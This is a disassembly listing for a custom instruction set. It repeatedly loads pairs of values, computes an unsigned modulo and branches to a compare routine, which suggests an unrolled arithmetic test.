a964: 00 a0 01 10 umod r8,r16
a968: 20 70 03 e2 movepc rret,8
a96c: 14 30 d5 a9 br 10 <compare>,#al
a970: 00 10 00 41 add r2,1
a974: 0d 41 a1 00 wl16 r8,0xd00
a978: 0d 60 01 03 wh16 r8,0x3
a97c: 10 40 01 08 ld32 r8,r8
a980: 0d 43 be 1c wl16 r16,0x1dfc
a984: 0d 60 02 03 wh16 r16,0x3
a988: 10 40 02 10 ld32 r16,r16
a98c: 0d 45 dd 38 wl16 r9,0x2ef8
a990: 0d 60 01 23 wh16 r9,0x3
a994: 10 40 01 29 ld32 r9,r9
a998: 00 a0 01 10 umod r8,r16
a99c: 20 70 03 e2 movepc rret,8
a9a0: 14 30 d5 9c br 10 <compare>,#al
a9a4: 00 10 00 41 add r2,1
a9a8: 0d 41 a1 04 wl16 r8,0xd04
a9ac: 0d 60 01 03 wh16 r8,0x3
a9b0: 10 40 01 08 ld32 r8,r8
a9b4: 0d 43 c2 00 wl16 r16,0x1e00
a9b8: 0d 60 02 03 wh16 r16,0x3
a9bc: 10 40 02 10 ld32 r16,r16
a9c0: 0d 45 dd 3c wl16 r9,0x2efc
a9c4: 0d 60 01 23 wh16 r9,0x3
a9c8: 10 40 01 29 ld32 r9,r9
a9cc: 00 a0 01 10 umod r8,r16
a9d0: 20 70 03 e2 movepc rret,8
a9d4: 14 30 d5 8f br 10 <compare>,#al
a9d8: 00 10 00 41 add r2,1
a9dc: 0d 41 a1 08 wl16 r8,0xd08
a9e0: 0d 60 01 03 wh16 r8,0x3
a9e4: 10 40 01 08 ld32 r8,r8
a9e8: 0d 43 c2 04 wl16 r16,0x1e04
a9ec: 0d 60 02 03 wh16 r16,0x3
a9f0: 10 40 02 10 ld32 r16,r16
a9f4: 0d 45 e1 20 wl16 r9,0x2f00
a9f8: 0d 60 01 23 wh16 r9,0x3
a9fc: 10 40 01 29 ld32 r9,r9
aa00: 00 a0 01 10 umod r8,r16
aa04: 20 70 03 e2 movepc rret,8
aa08: 14 30 d5 82 br 10 <compare>,#al
aa0c: 00 10 00 41 add r2,1
aa10: 0d 41 a1 0c wl16 r8,0xd0c
aa14: 0d 60 01 03 wh16 r8,0x3
aa18: 10 40 01 08 ld32 r8,r8
aa1c: 0d 43 c2 08 wl16 r16,0x1e08
aa20: 0d 60 02 03 wh16 r16,0x3
aa24: 10 40 02 10 ld32 r16,r16
aa28: 0d 45 e1 24 wl16 r9,0x2f04
aa2c: 0d 60 01 23 wh16 r9,0x3
aa30: 10 40 01 29 ld32 r9,r9
aa34: 00 a0 01 10 umod r8,r16
aa38: 20 70 03 e2 movepc rret,8
aa3c: 14 30 d5 75 br 10 <compare>,#al
aa40: 00 10 00 41 add r2,1
aa44: 0d 41 a1 10 wl16 r8,0xd10
aa48: 0d 60 01 03 wh16 r8,0x3
aa4c: 10 40 01 08 ld32 r8,r8
aa50: 0d 43 c2 0c wl16 r16,0x1e0c
aa54: 0d 60 02 03 wh16 r16,0x3
aa58: 10 40 02 10 ld32 r16,r16
aa5c: 0d 45 e1 28 wl16 r9,0x2f08
aa60: 0d 60 01 23 wh16 r9,0x3
aa64: 10 40 01 29 ld32 r9,r9
aa68: 00 a0 01 10 umod r8,r16
aa6c: 20 70 03 e2 movepc rret,8
aa70: 14 30 d5 68 br 10 <compare>,#al
aa74: 00 10 00 41 add r2,1
aa78: 0d 41 a1 14 wl16 r8,0xd14
aa7c: 0d 60 01 03 wh16 r8,0x3
aa80: 10 40 01 08 ld32 r8,r8
aa84: 0d 43 c2 10 wl16 r16,0x1e10
aa88: 0d 60 02 03 wh16 r16,0x3
aa8c: 10 40 02 10 ld32 r16,r16
aa90: 0d 45 e1 2c wl16 r9,0x2f0c
aa94: 0d 60 01 23 wh16 r9,0x3
aa98: 10 40 01 29 ld32 r9,r9
aa9c: 00 a0 01 10 umod r8,r16
aaa0: 20 70 03 e2 movepc rret,8
aaa4: 14 30 d5 5b br 10 <compare>,#al
aaa8: 00 10 00 41 add r2,1
aaac: 0d 41 a1 18 wl16 r8,0xd18
aab0: 0d 60 01 03 wh16 r8,0x3
aab4: 10 40 01 08 ld32 r8,r8
aab8: 0d 43 c2 14 wl16 r16,0x1e14
aabc: 0d 60 02 03 wh16 r16,0x3
aac0: 10 40 02 10 ld32 r16,r16
aac4: 0d 45 e1 30 wl16 r9,0x2f10
aac8: 0d 60 01 23 wh16 r9,0x3
aacc: 10 40 01 29 ld32 r9,r9
aad0: 00 a0 01 10 umod r8,r16
aad4: 20 70 03 e2 movepc rret,8
aad8: 14 30 d5 4e br 10 <compare>,#al
aadc: 00 10 00 41 add r2,1
aae0: 0d 41 a1 1c wl16 r8,0xd1c
aae4: 0d 60 01 03 wh16 r8,0x3
aae8: 10 40 01 08 ld32 r8,r8
aaec: 0d 43 c2 18 wl16 r16,0x1e18
aaf0: 0d 60 02 03 wh16 r16,0x3
aaf4: 10 40 02 10 ld32 r16,r16
aaf8: 0d 45 e1 34 wl16 r9,0x2f14
aafc: 0d 60 01 23 wh16 r9,0x3
ab00: 10 40 01 29 ld32 r9,r9
ab04: 00 a0 01 10 umod r8,r16
ab08: 20 70 03 e2 movepc rret,8
ab0c: 14 30 d5 41 br 10 <compare>,#al
ab10: 00 10 00 41 add r2,1
ab14: 0d 41 a5 00 wl16 r8,0xd20
ab18: 0d 60 01 03 wh16 r8,0x3
ab1c: 10 40 01 08 ld32 r8,r8
ab20: 0d 43 c2 1c wl16 r16,0x1e1c
ab24: 0d 60 02 03 wh16 r16,0x3
ab28: 10 40 02 10 ld32 r16,r16
ab2c: 0d 45 e1 38 wl16 r9,0x2f18
ab30: 0d 60 01 23 wh16 r9,0x3
ab34: 10 40 01 29 ld32 r9,r9
ab38: 00 a0 01 10 umod r8,r16
ab3c: 20 70 03 e2 movepc rret,8
ab40: 14 30 d5 34 br 10 <compare>,#al
ab44: 00 10 00 41 add r2,1
ab48: 0d 41 a5 04 wl16 r8,0xd24
ab4c: 0d 60 01 03 wh16 r8,0x3
ab50: 10 40 01 08 ld32 r8,r8
ab54: 0d 43 c6 00 wl16 r16,0x1e20
ab58: 0d 60 02 03 wh16 r16,0x3
ab5c: 10 40 02 10 ld32 r16,r16
ab60: 0d 45 e1 3c wl16 r9,0x2f1c
ab64: 0d 60 01 23 wh16 r9,0x3
ab68: 10 40 01 29 ld32 r9,r9
ab6c: 00 a0 01 10 umod r8,r16
ab70: 20 70 03 e2 movepc rret,8
ab74: 14 30 d5 27 br 10 <compare>,#al
ab78: 00 10 00 41 add r2,1
ab7c: 0d 41 a5 08 wl16 r8,0xd28
ab80: 0d 60 01 03 wh16 r8,0x3
ab84: 10 40 01 08 ld32 r8,r8
ab88: 0d 43 c6 04 wl16 r16,0x1e24
ab8c: 0d 60 02 03 wh16 r16,0x3
ab90: 10 40 02 10 ld32 r16,r16
ab94: 0d 45 e5 20 wl16 r9,0x2f20
ab98: 0d 60 01 23 wh16 r9,0x3
ab9c: 10 40 01 29 ld32 r9,r9
aba0: 00 a0 01 10 umod r8,r16
aba4: 20 70 03 e2 movepc rret,8
aba8: 14 30 d5 1a br 10 <compare>,#al
abac: 00 10 00 41 add r2,1
abb0: 0d 41 a5 0c wl16 r8,0xd2c
abb4: 0d 60 01 03 wh16 r8,0x3
abb8: 10 40 01 08 ld32 r8,r8
abbc: 0d 43 c6 08 wl16 r16,0x1e28
abc0: 0d 60 02 03 wh16 r16,0x3
abc4: 10 40 02 10 ld32 r16,r16
abc8: 0d 45 e5 24 wl16 r9,0x2f24
abcc: 0d 60 01 23 wh16 r9,0x3
abd0: 10 40 01 29 ld32 r9,r9
abd4: 00 a0 01 10 umod r8,r16
abd8: 20 70 03 e2 movepc rret,8
abdc: 14 30 d5 0d br 10 <compare>,#al
abe0: 00 10 00 41 add r2,1
abe4: 0d 41 a5 10 wl16 r8,0xd30
abe8: 0d 60 01 03 wh16 r8,0x3
abec: 10 40 01 08 ld32 r8,r8
abf0: 0d 43 c6 0c wl16 r16,0x1e2c
abf4: 0d 60 02 03 wh16 r16,0x3
abf8: 10 40 02 10 ld32 r16,r16
abfc: 0d 45 e5 28 wl16 r9,0x2f28
ac00: 0d 60 01 23 wh16 r9,0x3
ac04: 10 40 01 29 ld32 r9,r9
ac08: 00 a0 01 10 umod r8,r16
ac0c: 20 70 03 e2 movepc rret,8
ac10: 14 30 d5 00 br 10 <compare>,#al
ac14: 00 10 00 41 add r2,1
ac18: 0d 41 a5 14 wl16 r8,0xd34
ac1c: 0d 60 01 03 wh16 r8,0x3
ac20: 10 40 01 08 ld32 r8,r8
ac24: 0d 43 c6 10 wl16 r16,0x1e30
ac28: 0d 60 02 03 wh16 r16,0x3
ac2c: 10 40 02 10 ld32 r16,r16
ac30: 0d 45 e5 2c wl16 r9,0x2f2c
ac34: 0d 60 01 23 wh16 r9,0x3
ac38: 10 40 01 29 ld32 r9,r9
ac3c: 00 a0 01 10 umod r8,r16
ac40: 20 70 03 e2 movepc rret,8
ac44: 14 30 d4 f3 br 10 <compare>,#al
ac48: 00 10 00 41 add r2,1
ac4c: 0d 41 a5 18 wl16 r8,0xd38
ac50: 0d 60 01 03 wh16 r8,0x3
ac54: 10 40 01 08 ld32 r8,r8
ac58: 0d 43 c6 14 wl16 r16,0x1e34
ac5c: 0d 60 02 03 wh16 r16,0x3
ac60: 10 40 02 10 ld32 r16,r16
ac64: 0d 45 e5 30 wl16 r9,0x2f30
ac68: 0d 60 01 23 wh16 r9,0x3
ac6c: 10 40 01 29 ld32 r9,r9
ac70: 00 a0 01 10 umod r8,r16
ac74: 20 70 03 e2 movepc rret,8
ac78: 14 30 d4 e6 br 10 <compare>,#al
ac7c: 00 10 00 41 add r2,1
ac80: 0d 41 a5 1c wl16 r8,0xd3c
ac84: 0d 60 01 03 wh16 r8,0x3
ac88: 10 40 01 08 ld32 r8,r8
ac8c: 0d 43 c6 18 wl16 r16,0x1e38
ac90: 0d 60 02 03 wh16 r16,0x3
ac94: 10 40 02 10 ld32 r16,r16
ac98: 0d 45 e5 34 wl16 r9,0x2f34
ac9c: 0d 60 01 23 wh16 r9,0x3
aca0: 10 40 01 29 ld32 r9,r9
aca4: 00 a0 01 10 umod r8,r16
aca8: 20 70 03 e2 movepc rret,8
acac: 14 30 d4 d9 br 10 <compare>,#al
acb0: 00 10 00 41 add r2,1
acb4: 0d 41 a9 00 wl16 r8,0xd40
acb8: 0d 60 01 03 wh16 r8,0x3
acbc: 10 40 01 08 ld32 r8,r8
acc0: 0d 43 c6 1c wl16 r16,0x1e3c
acc4: 0d 60 02 03 wh16 r16,0x3
acc8: 10 40 02 10 ld32 r16,r16
accc: 0d 45 e5 38 wl16 r9,0x2f38
acd0: 0d 60 01 23 wh16 r9,0x3
acd4: 10 40 01 29 ld32 r9,r9
acd8: 00 a0 01 10 umod r8,r16
acdc: 20 70 03 e2 movepc rret,8
ace0: 14 30 d4 cc br 10 <compare>,#al
ace4: 00 10 00 41 add r2,1
ace8: 0d 41 a9 04 wl16 r8,0xd44
acec: 0d 60 01 03 wh16 r8,0x3
acf0: 10 40 01 08 ld32 r8,r8
acf4: 0d 43 ca 00 wl16 r16,0x1e40
acf8: 0d 60 02 03 wh16 r16,0x3
acfc: 10 40 02 10 ld32 r16,r16
ad00: 0d 45 e5 3c wl16 r9,0x2f3c
ad04: 0d 60 01 23 wh16 r9,0x3
ad08: 10 40 01 29 ld32 r9,r9
ad0c: 00 a0 01 10 umod r8,r16
ad10: 20 70 03 e2 movepc rret,8
ad14: 14 30 d4 bf br 10 <compare>,#al
ad18: 00 10 00 41 add r2,1
ad1c: 0d 41 a9 08 wl16 r8,0xd48
ad20: 0d 60 01 03 wh16 r8,0x3
ad24: 10 40 01 08 ld32 r8,r8
ad28: 0d 43 ca 04 wl16 r16,0x1e44
ad2c: 0d 60 02 03 wh16 r16,0x3
ad30: 10 40 02 10 ld32 r16,r16
ad34: 0d 45 e9 20 wl16 r9,0x2f40
ad38: 0d 60 01 23 wh16 r9,0x3
ad3c: 10 40 01 29 ld32 r9,r9
ad40: 00 a0 01 10 umod r8,r16
ad44: 20 70 03 e2 movepc rret,8
ad48: 14 30 d4 b2 br 10 <compare>,#al
ad4c: 00 10 00 41 add r2,1
ad50: 0d 41 a9 0c wl16 r8,0xd4c
ad54: 0d 60 01 03 wh16 r8,0x3
ad58: 10 40 01 08 ld32 r8,r8
ad5c: 0d 43 ca 08 wl16 r16,0x1e48
ad60: 0d 60 02 03 wh16 r16,0x3
ad64: 10 40 02 10 ld32 r16,r16
ad68: 0d 45 e9 24 wl16 r9,0x2f44
ad6c: 0d 60 01 23 wh16 r9,0x3
ad70: 10 40 01 29 ld32 r9,r9
ad74: 00 a0 01 10 umod r8,r16
ad78: 20 70 03 e2 movepc rret,8
ad7c: 14 30 d4 a5 br 10 <compare>,#al
ad80: 00 10 00 41 add r2,1
ad84: 0d 41 a9 10 wl16 r8,0xd50
ad88: 0d 60 01 03 wh16 r8,0x3
ad8c: 10 40 01 08 ld32 r8,r8
ad90: 0d 43 ca 0c wl16 r16,0x1e4c
ad94: 0d 60 02 03 wh16 r16,0x3
ad98: 10 40 02 10 ld32 r16,r16
ad9c: 0d 45 e9 28 wl16 r9,0x2f48
ada0: 0d 60 01 23 wh16 r9,0x3
ada4: 10 40 01 29 ld32 r9,r9
ada8: 00 a0 01 10 umod r8,r16
adac: 20 70 03 e2 movepc rret,8
adb0: 14 30 d4 98 br 10 <compare>,#al
adb4: 00 10 00 41 add r2,1
adb8: 0d 41 a9 14 wl16 r8,0xd54
adbc: 0d 60 01 03 wh16 r8,0x3
adc0: 10 40 01 08 ld32 r8,r8
adc4: 0d 43 ca 10 wl16 r16,0x1e50
adc8: 0d 60 02 03 wh16 r16,0x3
adcc: 10 40 02 10 ld32 r16,r16
add0: 0d 45 e9 2c wl16 r9,0x2f4c
add4: 0d 60 01 23 wh16 r9,0x3
add8: 10 40 01 29 ld32 r9,r9
addc: 00 a0 01 10 umod r8,r16
ade0: 20 70 03 e2 movepc rret,8
ade4: 14 30 d4 8b br 10 <compare>,#al
ade8: 00 10 00 41 add r2,1
adec: 0d 41 a9 18 wl16 r8,0xd58
adf0: 0d 60 01 03 wh16 r8,0x3
adf4: 10 40 01 08 ld32 r8,r8
adf8: 0d 43 ca 14 wl16 r16,0x1e54
adfc: 0d 60 02 03 wh16 r16,0x3
ae00: 10 40 02 10 ld32 r16,r16
ae04: 0d 45 e9 30 wl16 r9,0x2f50
ae08: 0d 60 01 23 wh16 r9,0x3
ae0c: 10 40 01 29 ld32 r9,r9
ae10: 00 a0 01 10 umod r8,r16
ae14: 20 70 03 e2 movepc rret,8
ae18: 14 30 d4 7e br 10 <compare>,#al
ae1c: 00 10 00 41 add r2,1
ae20: 0d 41 a9 1c wl16 r8,0xd5c
ae24: 0d 60 01 03 wh16 r8,0x3
ae28: 10 40 01 08 ld32 r8,r8
ae2c: 0d 43 ca 18 wl16 r16,0x1e58
ae30: 0d 60 02 03 wh16 r16,0x3
ae34: 10 40 02 10 ld32 r16,r16
ae38: 0d 45 e9 34 wl16 r9,0x2f54
ae3c: 0d 60 01 23 wh16 r9,0x3
ae40: 10 40 01 29 ld32 r9,r9
ae44: 00 a0 01 10 umod r8,r16
ae48: 20 70 03 e2 movepc rret,8
ae4c: 14 30 d4 71 br 10 <compare>,#al
ae50: 00 10 00 41 add r2,1
ae54: 0d 41 ad 00 wl16 r8,0xd60
ae58: 0d 60 01 03 wh16 r8,0x3
ae5c: 10 40 01 08 ld32 r8,r8
ae60: 0d 43 ca 1c wl16 r16,0x1e5c
ae64: 0d 60 02 03 wh16 r16,0x3
ae68: 10 40 02 10 ld32 r16,r16
ae6c: 0d 45 e9 38 wl16 r9,0x2f58
ae70: 0d 60 01 23 wh16 r9,0x3
ae74: 10 40 01 29 ld32 r9,r9
ae78: 00 a0 01 10 umod r8,r16
ae7c: 20 70 03 e2 movepc rret,8
ae80: 14 30 d4 64 br 10 <compare>,#al
ae84: 00 10 00 41 add r2,1
ae88: 0d 41 ad 04 wl16 r8,0xd64
ae8c: 0d 60 01 03 wh16 r8,0x3
ae90: 10 40 01 08 ld32 r8,r8
ae94: 0d 43 ce 00 wl16 r16,0x1e60
ae98: 0d 60 02 03 wh16 r16,0x3
ae9c: 10 40 02 10 ld32 r16,r16
aea0: 0d 45 e9 3c wl16 r9,0x2f5c
aea4: 0d 60 01 23 wh16 r9,0x3
aea8: 10 40 01 29 ld32 r9,r9
aeac: 00 a0 01 10 umod r8,r16
aeb0: 20 70 03 e2 movepc rret,8
aeb4: 14 30 d4 57 br 10 <compare>,#al
aeb8: 00 10 00 41 add r2,1
aebc: 0d 41 ad 08 wl16 r8,0xd68
aec0: 0d 60 01 03 wh16 r8,0x3
aec4: 10 40 01 08 ld32 r8,r8
aec8: 0d 43 ce 04 wl16 r16,0x1e64
aecc: 0d 60 02 03 wh16 r16,0x3
aed0: 10 40 02 10 ld32 r16,r16
aed4: 0d 45 ed 20 wl16 r9,0x2f60
aed8: 0d 60 01 23 wh16 r9,0x3
aedc: 10 40 01 29 ld32 r9,r9
aee0: 00 a0 01 10 umod r8,r16
aee4: 20 70 03 e2 movepc rret,8
aee8: 14 30 d4 4a br 10 <compare>,#al
aeec: 00 10 00 41 add r2,1
aef0: 0d 41 ad 0c wl16 r8,0xd6c
aef4: 0d 60 01 03 wh16 r8,0x3
aef8: 10 40 01 08 ld32 r8,r8
aefc: 0d 43 ce 08 wl16 r16,0x1e68
af00: 0d 60 02 03 wh16 r16,0x3
af04: 10 40 02 10 ld32 r16,r16
af08: 0d 45 ed 24 wl16 r9,0x2f64
af0c: 0d 60 01 23 wh16 r9,0x3
af10: 10 40 01 29 ld32 r9,r9
af14: 00 a0 01 10 umod r8,r16
af18: 20 70 03 e2 movepc rret,8
af1c: 14 30 d4 3d br 10 <compare>,#al
af20: 00 10 00 41 add r2,1
af24: 0d 41 ad 10 wl16 r8,0xd70
af28: 0d 60 01 03 wh16 r8,0x3
af2c: 10 40 01 08 ld32 r8,r8
af30: 0d 43 ce 0c wl16 r16,0x1e6c
af34: 0d 60 02 03 wh16 r16,0x3
af38: 10 40 02 10 ld32 r16,r16
af3c: 0d 45 ed 28 wl16 r9,0x2f68
af40: 0d 60 01 23 wh16 r9,0x3
af44: 10 40 01 29 ld32 r9,r9
af48: 00 a0 01 10 umod r8,r16
af4c: 20 70 03 e2 movepc rret,8
af50: 14 30 d4 30 br 10 <compare>,#al
af54: 00 10 00 41 add r2,1
af58: 0d 41 ad 14 wl16 r8,0xd74
af5c: 0d 60 01 03 wh16 r8,0x3
af60: 10 40 01 08 ld32 r8,r8
af64: 0d 43 ce 10 wl16 r16,0x1e70
af68: 0d 60 02 03 wh16 r16,0x3
af6c: 10 40 02 10 ld32 r16,r16
af70: 0d 45 ed 2c wl16 r9,0x2f6c
af74: 0d 60 01 23 wh16 r9,0x3
af78: 10 40 01 29 ld32 r9,r9
af7c: 00 a0 01 10 umod r8,r16
af80: 20 70 03 e2 movepc rret,8
af84: 14 30 d4 23 br 10 <compare>,#al
af88: 00 10 00 41 add r2,1
af8c: 0d 41 ad 18 wl16 r8,0xd78
af90: 0d 60 01 03 wh16 r8,0x3
af94: 10 40 01 08 ld32 r8,r8
af98: 0d 43 ce 14 wl16 r16,0x1e74
af9c: 0d 60 02 03 wh16 r16,0x3
afa0: 10 40 02 10 ld32 r16,r16
afa4: 0d 45 ed 30 wl16 r9,0x2f70
afa8: 0d 60 01 23 wh16 r9,0x3
afac: 10 40 01 29 ld32 r9,r9
afb0: 00 a0 01 10 umod r8,r16
afb4: 20 70 03 e2 movepc rret,8
afb8: 14 30 d4 16 br 10 <compare>,#al
afbc: 00 10 00 41 add r2,1
afc0: 0d 41 ad 1c wl16 r8,0xd7c
afc4: 0d 60 01 03 wh16 r8,0x3
afc8: 10 40 01 08 ld32 r8,r8
afcc: 0d 43 ce 18 wl16 r16,0x1e78
afd0: 0d 60 02 03 wh16 r16,0x3
afd4: 10 40 02 10 ld32 r16,r16
afd8: 0d 45 ed 34 wl16 r9,0x2f74
afdc: 0d 60 01 23 wh16 r9,0x3
afe0: 10 40 01 29 ld32 r9,r9
afe4: 00 a0 01 10 umod r8,r16
afe8: 20 70 03 e2 movepc rret,8
afec: 14 30 d4 09 br 10 <compare>,#al
aff0: 00 10 00 41 add r2,1
aff4: 0d 41 b1 00 wl16 r8,0xd80
aff8: 0d 60 01 03 wh16 r8,0x3
affc: 10 40 01 08 ld32 r8,r8
b000: 0d 43 ce 1c wl16 r16,0x1e7c
b004: 0d 60 02 03 wh16 r16,0x3
b008: 10 40 02 10 ld32 r16,r16
b00c: 0d 45 ed 38 wl16 r9,0x2f78
b010: 0d 60 01 23 wh16 r9,0x3
b014: 10 40 01 29 ld32 r9,r9
b018: 00 a0 01 10 umod r8,r16
b01c: 20 70 03 e2 movepc rret,8
b020: 14 30 d3 fc br 10 <compare>,#al
b024: 00 10 00 41 add r2,1
b028: 0d 41 b1 04 wl16 r8,0xd84
b02c: 0d 60 01 03 wh16 r8,0x3
b030: 10 40 01 08 ld32 r8,r8
b034: 0d 43 d2 00 wl16 r16,0x1e80
b038: 0d 60 02 03 wh16 r16,0x3
b03c: 10 40 02 10 ld32 r16,r16
b040: 0d 45 ed 3c wl16 r9,0x2f7c
b044: 0d 60 01 23 wh16 r9,0x3
b048: 10 40 01 29 ld32 r9,r9
b04c: 00 a0 01 10 umod r8,r16
b050: 20 70 03 e2 movepc rret,8
b054: 14 30 d3 ef br 10 <compare>,#al
b058: 00 10 00 41 add r2,1
b05c: 0d 41 b1 08 wl16 r8,0xd88
b060: 0d 60 01 03 wh16 r8,0x3
b064: 10 40 01 08 ld32 r8,r8
b068: 0d 43 d2 04 wl16 r16,0x1e84
b06c: 0d 60 02 03 wh16 r16,0x3
b070: 10 40 02 10 ld32 r16,r16
b074: 0d 45 f1 20 wl16 r9,0x2f80
b078: 0d 60 01 23 wh16 r9,0x3
b07c: 10 40 01 29 ld32 r9,r9
b080: 00 a0 01 10 umod r8,r16
b084: 20 70 03 e2 movepc rret,8
b088: 14 30 d3 e2 br 10 <compare>,#al
b08c: 00 10 00 41 add r2,1
b090: 0d 41 b1 0c wl16 r8,0xd8c
b094: 0d 60 01 03 wh16 r8,0x3
b098: 10 40 01 08 ld32 r8,r8
b09c: 0d 43 d2 08 wl16 r16,0x1e88
b0a0: 0d 60 02 03 wh16 r16,0x3
b0a4: 10 40 02 10 ld32 r16,r16
b0a8: 0d 45 f1 24 wl16 r9,0x2f84
b0ac: 0d 60 01 23 wh16 r9,0x3
b0b0: 10 40 01 29 ld32 r9,r9
b0b4: 00 a0 01 10 umod r8,r16
b0b8: 20 70 03 e2 movepc rret,8
b0bc: 14 30 d3 d5 br 10 <compare>,#al
b0c0: 00 10 00 41 add r2,1
b0c4: 0d 41 b1 10 wl16 r8,0xd90
b0c8: 0d 60 01 03 wh16 r8,0x3
b0cc: 10 40 01 08 ld32 r8,r8
b0d0: 0d 43 d2 0c wl16 r16,0x1e8c
b0d4: 0d 60 02 03 wh16 r16,0x3
b0d8: 10 40 02 10 ld32 r16,r16
b0dc: 0d 45 f1 28 wl16 r9,0x2f88
b0e0: 0d 60 01 23 wh16 r9,0x3
b0e4: 10 40 01 29 ld32 r9,r9
b0e8: 00 a0 01 10 umod r8,r16
b0ec: 20 70 03 e2 movepc rret,8
b0f0: 14 30 d3 c8 br 10 <compare>,#al
b0f4: 00 10 00 41 add r2,1
b0f8: 0d 41 b1 14 wl16 r8,0xd94
b0fc: 0d 60 01 03 wh16 r8,0x3
b100: 10 40 01 08 ld32 r8,r8
b104: 0d 43 d2 10 wl16 r16,0x1e90
b108: 0d 60 02 03 wh16 r16,0x3
b10c: 10 40 02 10 ld32 r16,r16
b110: 0d 45 f1 2c wl16 r9,0x2f8c
b114: 0d 60 01 23 wh16 r9,0x3
b118: 10 40 01 29 ld32 r9,r9
b11c: 00 a0 01 10 umod r8,r16
b120: 20 70 03 e2 movepc rret,8
b124: 14 30 d3 bb br 10 <compare>,#al
b128: 00 10 00 41 add r2,1
b12c: 0d 41 b1 18 wl16 r8,0xd98
b130: 0d 60 01 03 wh16 r8,0x3
b134: 10 40 01 08 ld32 r8,r8
b138: 0d 43 d2 14 wl16 r16,0x1e94
b13c: 0d 60 02 03 wh16 r16,0x3
b140: 10 40 02 10 ld32 r16,r16
b144: 0d 45 f1 30 wl16 r9,0x2f90
b148: 0d 60 01 23 wh16 r9,0x3
b14c: 10 40 01 29 ld32 r9,r9
b150: 00 a0 01 10 umod r8,r16
b154: 20 70 03 e2 movepc rret,8
b158: 14 30 d3 ae br 10 <compare>,#al
b15c: 00 10 00 41 add r2,1
b160: 0d 41 b1 1c wl16 r8,0xd9c
b164: 0d 60 01 03 wh16 r8,0x3
b168: 10 40 01 08 ld32 r8,r8
b16c: 0d 43 d2 18 wl16 r16,0x1e98
b170: 0d 60 02 03 wh16 r16,0x3
b174: 10 40 02 10 ld32 r16,r16
b178: 0d 45 f1 34 wl16 r9,0x2f94
b17c: 0d 60 01 23 wh16 r9,0x3
b180: 10 40 01 29 ld32 r9,r9
b184: 00 a0 01 10 umod r8,r16
b188: 20 70 03 e2 movepc rret,8
b18c: 14 30 d3 a1 br 10 <compare>,#al
b190: 00 10 00 41 add r2,1
b194: 0d 41 b5 00 wl16 r8,0xda0
b198: 0d 60 01 03 wh16 r8,0x3
b19c: 10 40 01 08 ld32 r8,r8
b1a0: 0d 43 d2 1c wl16 r16,0x1e9c
b1a4: 0d 60 02 03 wh16 r16,0x3
b1a8: 10 40 02 10 ld32 r16,r16
b1ac: 0d 45 f1 38 wl16 r9,0x2f98
b1b0: 0d 60 01 23 wh16 r9,0x3
b1b4: 10 40 01 29 ld32 r9,r9
b1b8: 00 a0 01 10 umod r8,r16
b1bc: 20 70 03 e2 movepc rret,8
b1c0: 14 30 d3 94 br 10 <compare>,#al
b1c4: 00 10 00 41 add r2,1
b1c8: 0d 41 b5 04 wl16 r8,0xda4
b1cc: 0d 60 01 03 wh16 r8,0x3
b1d0: 10 40 01 08 ld32 r8,r8
b1d4: 0d 43 d6 00 wl16 r16,0x1ea0
b1d8: 0d 60 02 03 wh16 r16,0x3
b1dc: 10 40 02 10 ld32 r16,r16
b1e0: 0d 45 f1 3c wl16 r9,0x2f9c
b1e4: 0d 60 01 23 wh16 r9,0x3
b1e8: 10 40 01 29 ld32 r9,r9
b1ec: 00 a0 01 10 umod r8,r16
b1f0: 20 70 03 e2 movepc rret,8
b1f4: 14 30 d3 87 br 10 <compare>,#al
b1f8: 00 10 00 41 add r2,1
b1fc: 0d 41 b5 08 wl16 r8,0xda8
b200: 0d 60 01 03 wh16 r8,0x3
b204: 10 40 01 08 ld32 r8,r8
b208: 0d 43 d6 04 wl16 r16,0x1ea4
b20c: 0d 60 02 03 wh16 r16,0x3
b210: 10 40 02 10 ld32 r16,r16
b214: 0d 45 f5 20 wl16 r9,0x2fa0
b218: 0d 60 01 23 wh16 r9,0x3
b21c: 10 40 01 29 ld32 r9,r9
b220: 00 a0 01 10 umod r8,r16
b224: 20 70 03 e2 movepc rret,8
b228: 14 30 d3 7a br 10 <compare>,#al
b22c: 00 10 00 41 add r2,1
b230: 0d 41 b5 0c wl16 r8,0xdac
b234: 0d 60 01 03 wh16 r8,0x3
b238: 10 40 01 08 ld32 r8,r8
b23c: 0d 43 d6 08 wl16 r16,0x1ea8
b240: 0d 60 02 03 wh16 r16,0x3
b244: 10 40 02 10 ld32 r16,r16
b248: 0d 45 f5 24 wl16 r9,0x2fa4
b24c: 0d 60 01 23 wh16 r9,0x3
b250: 10 40 01 29 ld32 r9,r9
b254: 00 a0 01 10 umod r8,r16
b258: 20 70 03 e2 movepc rret,8
b25c: 14 30 d3 6d br 10 <compare>,#al
b260: 00 10 00 41 add r2,1
b264: 0d 41 b5 10 wl16 r8,0xdb0
b268: 0d 60 01 03 wh16 r8,0x3
b26c: 10 40 01 08 ld32 r8,r8
b270: 0d 43 d6 0c wl16 r16,0x1eac
b274: 0d 60 02 03 wh16 r16,0x3
b278: 10 40 02 10 ld32 r16,r16
b27c: 0d 45 f5 28 wl16 r9,0x2fa8
b280: 0d 60 01 23 wh16 r9,0x3
b284: 10 40 01 29 ld32 r9,r9
b288: 00 a0 01 10 umod r8,r16
b28c: 20 70 03 e2 movepc rret,8
b290: 14 30 d3 60 br 10 <compare>,#al
b294: 00 10 00 41 add r2,1
b298: 0d 41 b5 14 wl16 r8,0xdb4
b29c: 0d 60 01 03 wh16 r8,0x3
b2a0: 10 40 01 08 ld32 r8,r8
b2a4: 0d 43 d6 10 wl16 r16,0x1eb0
b2a8: 0d 60 02 03 wh16 r16,0x3
b2ac: 10 40 02 10 ld32 r16,r16
b2b0: 0d 45 f5 2c wl16 r9,0x2fac
b2b4: 0d 60 01 23 wh16 r9,0x3
b2b8: 10 40 01 29 ld32 r9,r9
b2bc: 00 a0 01 10 umod r8,r16
b2c0: 20 70 03 e2 movepc rret,8
b2c4: 14 30 d3 53 br 10 <compare>,#al
b2c8: 00 10 00 41 add r2,1
b2cc: 0d 41 b5 18 wl16 r8,0xdb8
b2d0: 0d 60 01 03 wh16 r8,0x3
b2d4: 10 40 01 08 ld32 r8,r8
b2d8: 0d 43 d6 14 wl16 r16,0x1eb4
b2dc: 0d 60 02 03 wh16 r16,0x3
b2e0: 10 40 02 10 ld32 r16,r16
b2e4: 0d 45 f5 30 wl16 r9,0x2fb0
b2e8: 0d 60 01 23 wh16 r9,0x3
b2ec: 10 40 01 29 ld32 r9,r9
b2f0: 00 a0 01 10 umod r8,r16
b2f4: 20 70 03 e2 movepc rret,8
b2f8: 14 30 d3 46 br 10 <compare>,#al
